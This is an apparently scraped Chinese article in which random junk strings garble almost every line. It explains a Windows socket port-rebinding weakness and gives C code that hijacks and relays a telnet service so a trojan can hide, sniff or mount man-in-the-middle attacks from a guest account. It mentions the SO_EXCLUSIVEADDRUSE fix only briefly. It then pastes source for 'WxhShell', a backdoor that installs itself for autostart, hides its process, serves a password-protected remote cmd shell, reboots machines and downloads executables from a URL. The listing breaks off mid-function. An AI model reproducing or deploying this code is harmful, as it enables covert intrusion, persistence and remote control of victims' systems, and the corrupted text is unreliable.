在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\bm6/fhA: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EWIc|b: 3]<re{)J9O saddr.sin_family = AF_INET;
~9r!m5ws S9R]Zl7{- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k0_$M{@Y qQOD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<m,yFk K;p<f{PE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
BD7@Mj*| Pzp+I} 这意味着什么?意味着可以进行如下的攻击:
pXh~#o6V K\+}q{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sD8m< ]A72)1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g'ZMV6b?K UIOEkQ\Wl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z.':&7Y ggI=I<7M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RP,:[}mPl $i:||L^8p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u'i%~(:$\) LkGf|yd_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s!ZW'`4!z z8/xGQn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pp]_/46nN +K%pxuVh #include
OR\DTLIl #include
pEVgJ/> #include
#[a"%byTR #include
) wY!/& DWORD WINAPI ClientThread(LPVOID lpParam);
g&+Y{*Gp int main()
qC1U&b#MVx {
H5rPq_R WORD wVersionRequested;
tB7K&ssi DWORD ret;
n2d8;B# WSADATA wsaData;
N3gNOq& BOOL val;
0UGiPH,() SOCKADDR_IN saddr;
d"I28PIS" SOCKADDR_IN scaddr;
'DzBp int err;
FU\/JF.j SOCKET s;
)!k_Gb`#X SOCKET sc;
8b 8\ int caddsize;
0^9:KZ.! HANDLE mt;
}B"|z'u DWORD tid;
_t|G@D{ wVersionRequested = MAKEWORD( 2, 2 );
+Cf0Y2*@hM err = WSAStartup( wVersionRequested, &wsaData );
e" Eqi- if ( err != 0 ) {
qsihQd printf("error!WSAStartup failed!\n");
x(9;!4O> return -1;
Fkcx+d }
Jf?S9r5 Q saddr.sin_family = AF_INET;
Er"R;l]xJ K)/!&{7n}a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%e
Sm&` y98JiNq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cXS;z.M\_ saddr.sin_port = htons(23);
0AK?{y U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O[IR| {
q*[!>\Z8 printf("error!socket failed!\n");
19F ;oFp return -1;
N )zPxQ }
U['JFLF val = TRUE;
|
"Jx //SO_REUSEADDR选项就是可以实现端口重绑定的
j?\$G.Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
gT(th9'+z {
JG@L5f printf("error!setsockopt failed!\n");
Rkpr8MS return -1;
w dGpt_ }
\[hn]@@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9DOkQnnc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UU iNR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%1\v7Xw{9 D[89*@v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-,QKTxwo> {
e^k!vk-SLF ret=GetLastError();
;Y'8:ncDn printf("error!bind failed!\n");
6|
*(dE2x( return -1;
7q%|4Z-~ }
^^7L"je]g listen(s,2);
s~=KhP~ while(1)
qr)v'aC3 {
<.,RBo caddsize = sizeof(scaddr);
L#`2.nU //接受连接请求
q.=^iz&m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=oE_.ux\ if(sc!=INVALID_SOCKET)
5LQk8NPh {
ih>a~U< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Z+Yeg if(mt==NULL)
kS B {
VK2@2`$ printf("Thread Creat Failed!\n");
#K=b%;> break;
N;-/w ip }
xw PI }
>u=%Lz"J CloseHandle(mt);
h6u2j p(+ }
`"a? a5]k closesocket(s);
8P,l>HA WSACleanup();
|DN^NhtE return 0;
K;oV"KRK }
R'6@n#: DWORD WINAPI ClientThread(LPVOID lpParam)
gtD {
t< sp%zXZ SOCKET ss = (SOCKET)lpParam;
<7=&DpjI7F SOCKET sc;
TC qkm^xv unsigned char buf[4096];
O(VxMO
SOCKADDR_IN saddr;
gjW\
XY long num;
]SFWt/< DWORD val;
pw@`}cM= DWORD ret;
]\A1mw-T //如果是隐藏端口应用的话,可以在此处加一些判断
OmB
TA=E< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,H>W:O saddr.sin_family = AF_INET;
XZ.7c{B< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L-#e?Y}$J saddr.sin_port = htons(23);
JXH",""bq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oZgHSR RL {
kMM'[w printf("error!socket failed!\n");
,09DBxQq, return -1;
wGg0hL }
}FrEF\}]_7 val = 100;
:'Zx{F` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3 m6$YWO {
pvlDjj} ret = GetLastError();
YWEYHr;%^? return -1;
6`acg'sk> }
:-z&Y492 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K[kds` {
a$d:_,\" ret = GetLastError();
Zr=ib return -1;
7 0_}S*T }
Y?<)Dg.[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
p"2m90IO {
Cl,9yU)1n printf("error!socket connect failed!\n");
elu=9d];@ closesocket(sc);
*-0>3 closesocket(ss);
jh[
#p?: return -1;
`|nH1sHFq }
`%e|$pK while(1)
;AKwx|I$g {
B`i$Wt<7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j_p`Ng //如果是嗅探内容的话,可以再此处进行内容分析和记录
{@3z\wMK$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vd`O aM}#U num = recv(ss,buf,4096,0);
PSPTL3_~ if(num>0)
@Tm`d ?^ send(sc,buf,num,0);
RT,:hH else if(num==0)
a"x}b break;
bl=ku<}@ num = recv(sc,buf,4096,0);
?=<~^Lk if(num>0)
7'z(~3D send(ss,buf,num,0);
P>(&glr| else if(num==0)
_BbvhWN&+ break;
qe<Hfp/p }
q]CeD closesocket(ss);
XIKvH-0& closesocket(sc);
5$kdgFq( return 0 ;
J96uyS* }
C0QM#"[ k)cP! %z Q^L)
Vp" ==========================================================
3f"C!l]Xu O5zE {# 下边附上一个代码,,WXhSHELL
H(b)aw^(% {?Od{d9 ==========================================================
b]T@gJ4H= 9YD\~v;x #include "stdafx.h"
eeM?]J- 8] `Ru5nd #include <stdio.h>
\Wr,<Y #include <string.h>
}9^@5!qX #include <windows.h>
{{\ce;hN #include <winsock2.h>
M diwRi #include <winsvc.h>
b?8)7.{F{ #include <urlmon.h>
4ZwKpQ6 \w%@?Qik #pragma comment (lib, "Ws2_32.lib")
^ *0'\/N& #pragma comment (lib, "urlmon.lib")
<`)iA-Df;9 $#e1SS32 #define MAX_USER 100 // 最大客户端连接数
0]B(a #define BUF_SOCK 200 // sock buffer
8#w)X/ #define KEY_BUFF 255 // 输入 buffer
7b, (\Fm &dr@6-xaq #define REBOOT 0 // 重启
i)MEK#{ #define SHUTDOWN 1 // 关机
FH8k'Hxg 2Q@Y^t
#define DEF_PORT 5000 // 监听端口
y \D=Z
N@ <.bRf #define REG_LEN 16 // 注册表键长度
1Ipfw #define SVC_LEN 80 // NT服务名长度
Od##U6e` %Ds+GM- // 从dll定义API
)"|||\Iv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2o4^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"u492^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?2 f_aY ; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nls X:|8vS+0gU // wxhshell配置信息
}gv8au< struct WSCFG {
^nNitF
int ws_port; // 监听端口
T]9m:zX9s char ws_passstr[REG_LEN]; // 口令
[ *>AN7W int ws_autoins; // 安装标记, 1=yes 0=no
[c~kF+8 char ws_regname[REG_LEN]; // 注册表键名
uOd&XW char ws_svcname[REG_LEN]; // 服务名
9AQxNbs char ws_svcdisp[SVC_LEN]; // 服务显示名
=n+ \\D char ws_svcdesc[SVC_LEN]; // 服务描述信息
eTbg7"waA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A%XX5* int ws_downexe; // 下载执行标记, 1=yes 0=no
rS7)6h7(7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v-Qmx-N char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r^1+cwy/7P X!>eiYK) };
69OF_/23 ac8P\2{" // default Wxhshell configuration
A6!F@Ic[ struct WSCFG wscfg={DEF_PORT,
A&"%os "xuhuanlingzhe",
H
C0w;MG) 1,
?6"{!s{v "Wxhshell",
.4-,_`T? "Wxhshell",
>/=> B7 "WxhShell Service",
]rN#B-aAr "Wrsky Windows CmdShell Service",
!5Sd2<N "Please Input Your Password: ",
y >+mc7n 1,
?!'ZfQ:zK "
http://www.wrsky.com/wxhshell.exe",
/.1.MssQM "Wxhshell.exe"
yK%ebq] };
@7<uMasfp (Un_!) // 消息定义模块
k|xtr&1N.! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F(,UA+$A char *msg_ws_prompt="\n\r? for help\n\r#>";
Iz@)!3h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;j%BK(5 char *msg_ws_ext="\n\rExit.";
yN6>VD{F char *msg_ws_end="\n\rQuit.";
Vzl^Ka' char *msg_ws_boot="\n\rReboot...";
VIJ<``9[ char *msg_ws_poff="\n\rShutdown...";
:O= \<t char *msg_ws_down="\n\rSave to ";
wW>fVPr 1:M@&1LYp char *msg_ws_err="\n\rErr!";
2%u;$pj char *msg_ws_ok="\n\rOK!";
V[nQQxWp= T~4N+fK char ExeFile[MAX_PATH];
Qk1xUE int nUser = 0;
OLC{iD# HANDLE handles[MAX_USER];
&ldBv_ int OsIsNt;
/i]y$^ ,9D+brm SERVICE_STATUS serviceStatus;
_O"mfXl6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
ep/Y^&$M .2)
=vf'd // 函数声明
04U")-\O int Install(void);
N<(.%<! int Uninstall(void);
kgi>}
% int DownloadFile(char *sURL, SOCKET wsh);
[7FItlF%I int Boot(int flag);
._O void HideProc(void);
ACq7dLys,B int GetOsVer(void);
w= P9FxB int Wxhshell(SOCKET wsl);
L+}n@B void TalkWithClient(void *cs);
$*R/tJ. int CmdShell(SOCKET sock);
{0"YOS`3AX int StartFromService(void);
*%/~mSx int StartWxhshell(LPSTR lpCmdLine);
({WyDu&= A:l@_*C.. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y|wlq3o VOID WINAPI NTServiceHandler( DWORD fdwControl );
^BQrbY P
[Uy // 数据结构和表定义
^vilgg~ SERVICE_TABLE_ENTRY DispatchTable[] =
rl2&^N {
7R!5,Js+ {wscfg.ws_svcname, NTServiceMain},
??60,m:] {NULL, NULL}
={>Lrig:l };
kn"(mJe$ xg_Df, // 自我安装
::FS/Y]Fg int Install(void)
:>Rv!x` {
<Z}SKR"U% char svExeFile[MAX_PATH];
XxIHoX& HKEY key;
/,=@8k!t? strcpy(svExeFile,ExeFile);
{ FZ=olZ 9}a_:hAy/ // 如果是win9x系统,修改注册表设为自启动
3I\n_V< if(!OsIsNt) {
7\FXz'hA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,JU@|` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G)v
#+4 RegCloseKey(key);
VA*y|Q6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sm[94,26 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&`0/CV RegCloseKey(key);
4lhw3,5 return 0;
@Z>ZiU,^ }
'52~$z#m }
w}Uhd, }
)9l^O
else {
!l]dR@e Wjhvxk // 如果是NT以上系统,安装为系统服务
WOuEW w= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AdRX`[ik if (schSCManager!=0)
Q'_z<V {
JRo?s~Ih SC_HANDLE schService = CreateService
FFdBtB (
b4^`DHRu6 schSCManager,
0cK{ wscfg.ws_svcname,
E|'h]NY wscfg.ws_svcdisp,
M@0;B30L SERVICE_ALL_ACCESS,
)jrV#/m9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2{|h8oz SERVICE_AUTO_START,
L_=3<nE SERVICE_ERROR_NORMAL,
3bnS
W5 svExeFile,
0d8%T<=J NULL,
GFr|E8 NULL,
u#}[ZoI NULL,
(Jz;W<E NULL,
"Ph^BUAb NULL
3Zi@A4Wu );
;2B{ 9{ if (schService!=0)
>4t+:Ut: {
UTXSeNP CloseServiceHandle(schService);
g8PTGz CloseServiceHandle(schSCManager);
(?nCyHC%g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_h}kp\sps strcat(svExeFile,wscfg.ws_svcname);
y!!2WHvE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s%<eD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M(/r%-D RegCloseKey(key);
"etPT@gF return 0;
9k{PBAP }
-[-wkC8a }
RjN{%YkXe CloseServiceHandle(schSCManager);
rtc9wu }
l\C.",CEcc }
=UV`.d2[ "I(xgx* return 1;
i':C)7 }
hdrm!aBd hP15qKy // 自我卸载
P#AW\d^"B int Uninstall(void)
TqnTS0fx {
/~3r;M HKEY key;
H)n9O/u R=jI?p if(!OsIsNt) {
x&0vKo; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6'Fd GS RegDeleteValue(key,wscfg.ws_regname);
X7rMeu RegCloseKey(key);
uCcYPvm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Dd\jHF>u RegDeleteValue(key,wscfg.ws_regname);
R
rda# h^ RegCloseKey(key);
rW=Z>1 return 0;
AJ=qn a }
?"g! }
@ta7"6p-i@ }
13>0OKg`# else {
UeRj< \"Q D|{jR~J)xK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HPZ}*m' if (schSCManager!=0)
Ftr5k^! {
')$+G152 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4qk9NK2 U if (schService!=0)
ml+; Rmvb {
%
yw?s0 if(DeleteService(schService)!=0) {
}"|K(hq CloseServiceHandle(schService);
.4E&/w+ CloseServiceHandle(schSCManager);
.nVa[B|. return 0;
BBev< }
T
\_]^]> CloseServiceHandle(schService);
7Ve1]) u }
a*&B`77`| CloseServiceHandle(schSCManager);
JT!9\i }
S Em Q@1 }
ojanBg
Ys\Wj%6A return 1;
H*r)Z90 }
4GX-ma, B\o Mn // 从指定url下载文件
C)`Fv=]R int DownloadFile(char *sURL, SOCKET wsh)
32`{7a3!= {
V)[@98T_4? HRESULT hr;
6|PrX
L& char seps[]= "/";
0"pAN[=K@ char *token;
!]=d-RGNe char *file;
md"!33 @ char myURL[MAX_PATH];
c"B{/;A char myFILE[MAX_PATH];
G6$kv2(k`@ UdpF@Q strcpy(myURL,sURL);
<4HDZ{"M token=strtok(myURL,seps);
gMzcTmbc8 while(token!=NULL)
zdYy^8V|z {
=\H!GT file=token;
PoxK{Y token=strtok(NULL,seps);
^rifRY-,yO }
xe^Gs]fm e4 >_v(' GetCurrentDirectory(MAX_PATH,myFILE);
.K1FKC$C strcat(myFILE, "\\");
8@MV%MVy$ strcat(myFILE, file);
vH :LQ!2 send(wsh,myFILE,strlen(myFILE),0);
zem8G2#c send(wsh,"...",3,0);
,F,X
, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m}7iTDJR9 if(hr==S_OK)
hhCrUn" return 0;
EK6:~ else
Bu#VMkchJ return 1;
wAf\|{Vn qVH1}9_ }
.\)U@L~ &m-PC(W+ // 系统电源模块
E87Ww,z8 int Boot(int flag)
E2R&[Q"% {
&L'Dqew,* HANDLE hToken;
Vf]
"L.G TOKEN_PRIVILEGES tkp;
A#EDkU,
t/VD31 if(OsIsNt) {
,(EO'T[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r]:(Vk]|F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O$_)G\\\m tkp.PrivilegeCount = 1;
|}=acc/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/|C* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-zOdU}91Ao if(flag==REBOOT) {
bk;?9%TW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H[,i{dD return 0;
f4 P8Oz }
I|gB@|_~ else {
&$`P,i 1) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F \KjEl0 return 0;
_K l_61k }
Oo5w?+t }
%4et&zRC else {
J^SdH&%Z if(flag==REBOOT) {
a_f~N1kq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cW@Zd5&0S return 0;
+ElfZ4 }
hT`J1nNt else {
O}-jCW;K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zzTfYf) return 0;
e2s]{obf }
u0|8Tgf }
}B\a<0L/ X' H[7 ^W return 1;
RJ 8+h }
dCi?SIN $'BSH4~|. // win9x进程隐藏模块
Pg,b-W?n* void HideProc(void)
P5a4ze {
Mo?~_|} n}F&1Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\<JSkr[h!" if ( hKernel != NULL )
x@P y>f2 {
$PTP/^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m0ER@BXRn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uki#/GzaO FreeLibrary(hKernel);
+ga k#M"n\ }
HHDl8lo DFZkh^PFd return;
\?[v{WP) }
Uc7mOa}4 `Q|*1 // 获取操作系统版本
5D\f8L int GetOsVer(void)
?pr9f5 {
IUE~_7 OSVERSIONINFO winfo;
j9eTCJqB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-+(jq>t GetVersionEx(&winfo);
[#-b8Cu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ALrw\qV return 1;
}\tdcTMgS else
HePUWL' return 0;
fkuLj%R }
ii[F]sR\ qkt0**\ // 客户端句柄模块
=
s>T;| int Wxhshell(SOCKET wsl)
zKw`Md {
.aO,8M SOCKET wsh;
u$DHVRrF< struct sockaddr_in client;
Wvbf"hq DWORD myID;
kpJ@M%46
UtPLI al while(nUser<MAX_USER)
!}YAdZJ {
%`>nS@1zp int nSize=sizeof(client);
?I6fye7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?k]2*}bz if(wsh==INVALID_SOCKET) return 1;
>zw.GwN| q*U*Fu+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$Z.7zH if(handles[nUser]==0)
nxUJN1b!N closesocket(wsh);
_-q.Q^ else
pWy=W&0~qf nUser++;
YLqGRE`W }
$bW3_rl%X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
L^E[J` _,p/l&< return 0;
$+P>~X) }
?oVx2LdD| M2
,YsHt
// 关闭 socket
%-)H^i~]% void CloseIt(SOCKET wsh)
)2Wi`ZT {
AJh w closesocket(wsh);
1n=lqn/ nUser--;
&~8oQC-eF ExitThread(0);
N >FKy'.gk }
!TAlBkj <v)1<*I // 客户端请求句柄
[b6R% void TalkWithClient(void *cs)
-m)X]]~C {
pOGeruu? v=0(~<7B SOCKET wsh=(SOCKET)cs;
GR&z, char pwd[SVC_LEN];
.:@Ykdm4I char cmd[KEY_BUFF];
d ^^bke$~ char chr[1];
< vL,*.zd int i,j;
J2::'Hw*s ^Y=\#-Dd while (nUser < MAX_USER) {
=y
[M\m .n#@$
nGZ if(wscfg.ws_passstr) {
Mmxlp.l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5*+!+V^?X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(zgW%{V@ //ZeroMemory(pwd,KEY_BUFF);
0xxg|;h.,g i=0;
Lhl]g^SN while(i<SVC_LEN) {
BUWqIdg 0+?7EL~ // 设置超时
h}*/Ge]aM fd_set FdRead;
/j4P9y^]= struct timeval TimeOut;
".W8) FD_ZERO(&FdRead);
<vUbv FD_SET(wsh,&FdRead);
Z3#P,y9@ TimeOut.tv_sec=8;
U}6B*Xx' TimeOut.tv_usec=0;
6ys
&zy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Fpm|_f7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
% 5m/ :Pvzl1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GNgKo]u pwd
=chr[0]; 5 xppKt
if(chr[0]==0xd || chr[0]==0xa) { >OL 3H$F
pwd=0; -7*ET3NSI/
break; SO IHePmwK
} W~zbm]
i++; TOkp%@9/
} lhYe;b(
IAw{P08+
// 如果是非法用户,关闭 socket kddZZA3`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7Nk!1s:
} }RzWJ@QD<
SW*"\X;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : ]sUpO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $K]m{
Z1 Bp+a3
while(1) { 6A>dhU
3
^>l\,
ZeroMemory(cmd,KEY_BUFF); <QA6/Ef7
Jl5c
[F
// 自动支持客户端 telnet标准 XWUWY
j=0; /LvRP yj@
while(j<KEY_BUFF) { N"" BCh"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d/ARm-D
cmd[j]=chr[0]; eZSNNgD<:
if(chr[0]==0xa || chr[0]==0xd) { 8dO!
cmd[j]=0; &7`^i.fh)
break; YpH&<$x:
} S'4(0j
j++; rf?qdd(~cH
} UaWl6 Y&Vu
"Q!(52_@J
// 下载文件 ~Lm$i6E<
if(strstr(cmd,"http://")) { :<hXH^n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F@mQQ
if(DownloadFile(cmd,wsh)) r~/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)kG A$m#
else i(AT8Bo2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _J Hd9)[
} VtnRgdJ
else { `+o2DA)#(
cl]Mi
"3_
switch(cmd[0]) { 5_- (<B
v*r7Zz6l
// 帮助 ToJ$A`_!`
case '?': { z.kvX+7'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b6U2GDm\s
break; Y&S24aql
} #:[t^}
// 安装 qv]}$WU
case 'i': { bmfI~8
if(Install()) '
0J1vG~c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]4(g<:O
else >Db;yC&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ov-icDMm
break; OW3sS+y
} cki81bOT
// 卸载 >4#)r8;dx
case 'r': { Y0x%sz5
if(Uninstall()) 5Ow[~p"l<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `8AR_7i
else hp#W9@NR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8n'B6hi
break; :c8&N-`
} E^vJ@O
// 显示 wxhshell 所在路径 wN;^[F
case 'p': { .}O[dR
char svExeFile[MAX_PATH]; _a6[{_Pc
strcpy(svExeFile,"\n\r"); ~yH?=:>U
strcat(svExeFile,ExeFile); swM*k;$q{
send(wsh,svExeFile,strlen(svExeFile),0); q(`/Vo4g(
break; ^>jwh
} &3bx`C
// 重启 jN[`L%Qm
case 'b': { <eQj`HL
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Ta"}TF8
if(Boot(REBOOT)) &Xf^Iu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+"X~7EX
else { )iYxt:(,
closesocket(wsh);
/H8g(
ExitThread(0); H."EUcE{
} ~:Ll&29i
break; SKkUU^\#R`
} nEJY5Bz$
// 关机 n2)@S0{
case 'd': { tasUZ#\6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [co% :xJu
if(Boot(SHUTDOWN)) mj9 <%P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +VO-oFE |
else { L&u$t}~)
closesocket(wsh); @cFJeOC|
ExitThread(0); czS+<
w
} S7/eS)SQR
break; uTKD 4yig
} 2QJ{a46}
// 获取shell ,N!o
case 's': { 2E}*v5b,
CmdShell(wsh); P_*" dza
closesocket(wsh); _V7r1fY:
ExitThread(0); umt.Um.m2
break; YVHm{A1b0
} FB{KH .
// 退出 C-\S/yd
case 'x': { ;<j0f~G`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yCVI\y\B
CloseIt(wsh); @~YYD#'vNY
break; \$*7 >`k
} ]x(e&fyHB
// 离开
|8My42yf
case 'q': { u~WVGjoQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5hQE4/hH
closesocket(wsh); TFkZp e;
WSACleanup(); A
Q'J9
exit(1); (9Ux{@$o[
break; _j< K=){
} YoBPLS`K
} VQ7*Z5[1
} B9NWW6S
19E8'@
// 提示信息 tt0f-:#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @zU6t|mhz
} .J)I | '
} 6W]9$n\"?
ABD)}n=%c
return; e?JW
} NbgK@eV}+{
i{`FmrPO~
// shell模块句柄 $a
]_w.@
int CmdShell(SOCKET sock) JM x>][xD
{ pe] A5\4c
STARTUPINFO si; 60J;sGW
ZeroMemory(&si,sizeof(si)); H!5\v"]WB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :6vm+5!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4^WpS/#4
PROCESS_INFORMATION ProcessInfo; E\as@pqo\p
char cmdline[]="cmd"; mOy^vMa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^c^#dpn
return 0; Fcd3H$Na;
} bN]+_ mF
'8!YD?n
// 自身启动模式 g#Sl %Y
int StartFromService(void) %s|}Fz->
{ 0
q}*S~
typedef struct vms|x wb
{ $~VRza 8Q
DWORD ExitStatus; K
1 a\b"
DWORD PebBaseAddress; lij.N)E
DWORD AffinityMask; bdC8zDD
DWORD BasePriority; T
6)bD&
